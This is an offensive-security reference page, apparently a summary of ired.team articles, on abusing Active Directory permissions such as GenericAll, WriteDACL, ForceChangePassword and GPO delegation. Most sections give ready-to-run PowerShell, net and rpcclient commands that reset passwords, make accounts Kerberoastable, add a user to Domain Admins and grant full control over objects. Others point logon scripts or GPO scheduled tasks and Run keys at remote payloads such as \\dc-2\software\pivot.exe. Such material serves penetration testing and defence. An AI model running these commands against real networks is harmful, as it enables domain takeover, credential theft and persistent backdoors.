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Abusing Active Directory ACLs/ACEs

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This page is mostly a summary of the techniques from https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces and https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges. For more details, check the original articles.

GenericAll Rights on User

This privilege grants an attacker full control over a target user account. Once GenericAll rights are confirmed using the Get-ObjectAcl command, an attacker can:

  • Change the Target's Password: Using net user <username> <password> /domain, the attacker can reset the user's password.
  • Targeted Kerberoasting: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
  • Targeted ASREPRoasting: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

GenericAll Rights on Group

This privilege allows an attacker to manipulate group memberships if they have GenericAll rights on a group like Domain Admins. After identifying the group's distinguished name with Get-NetGroup, the attacker can:

  • Add Themselves to the Domain Admins Group: This can be done via direct commands or using modules like Active Directory or PowerSploit.
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

Holding these privileges on a computer object or a user account allows for:

  • Kerberos Resource-based Constrained Delegation: Enables taking over a computer object.
  • Shadow Credentials: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.

WriteProperty on Group

If a user has WriteProperty rights on all objects for a specific group (e.g., Domain Admins), they can:

  • Add Themselves to the Domain Admins Group: Achievable via combining net user and Add-NetGroupUser commands, this method allows privilege escalation within the domain.
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Self (Self-Membership) on Group

This privilege enables attackers to add themselves to specific groups, such as Domain Admins, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Self-Membership)

A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the WriteProperty right on those groups. The confirmation and execution of this privilege are performed with:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain

ForceChangePassword

Holding the ExtendedRight on a user for User-Force-Change-Password allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using rpcclient on Linux, demonstrating the versatility of attack vectors.

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

WriteOwner on Group

If an attacker finds that they have WriteOwner rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is Domain Admins, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via Get-ObjectAcl and then using Set-DomainObjectOwner to modify the owner, either by SID or name.

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite on User

This permission allows an attacker to modify user properties. Specifically, with GenericWrite access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the Set-ADObject command to update the scriptpath property of the target user to point to the attacker's script.

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

GenericWrite on Group

With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands.

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

Owning an AD object and having WriteDACL privileges on it enables an attacker to grant themselves GenericAll privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's Set-Acl / Get-Acl cmdlets.

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

Replication on the Domain (DCSync)

The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like DS-Replication-Get-Changes, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. Learn more about the DCSync attack here.

GPO Delegation

GPO Delegation

Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as offense\spotless is delegated GPO management rights, they may have privileges like WriteProperty, WriteDacl, and WriteOwner. These permissions can be abused for malicious purposes, as identified using PowerView: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Enumerate GPO Permissions

To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Computers with a Given Policy Applied: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

Policies Applied to a Given Computer: To see what policies are applied to a particular computer, commands like Get-DomainGPO can be utilized.

OUs with a Given Policy Applied: Identifying organizational units (OUs) affected by a given policy can be done using Get-DomainOU.

Abuse GPO - New-GPOImmediateTask

Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

GroupPolicy module - Abuse GPO

The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution:

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

SharpGPOAbuse - Abuse GPO

SharpGPOAbuse offers a method to abuse existing GPOs by adding tasks or modifying settings without the need to create new GPOs. This tool requires modification of existing GPOs or using RSAT tools to create new ones before applying changes:

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

Force Policy Update

GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the gpupdate /force command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle.

Under the Hood

Upon inspection of the Scheduled Tasks for a given GPO, like the Misconfigured Policy, the addition of tasks such as evilTask can be confirmed. These tasks are created through scripts or command-line tools aiming to modify system behavior or escalate privileges.

The structure of the task, as shown in the XML configuration file generated by New-GPOImmediateTask, outlines the specifics of the scheduled task - including the command to be executed and its triggers. This file represents how scheduled tasks are defined and managed within GPOs, providing a method for executing arbitrary commands or scripts as part of policy enforcement.

Users and Groups

GPOs also allow for the manipulation of user and group memberships on target systems. By editing the Users and Groups policy files directly, attackers can add users to privileged groups, such as the local administrators group. This is possible through the delegation of GPO management permissions, which permits the modification of policy files to include new users or change group memberships.

The XML configuration file for Users and Groups outlines how these changes are implemented. By adding entries to this file, specific users can be granted elevated privileges across affected systems. This method offers a direct approach to privilege escalation through GPO manipulation.

Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.

References

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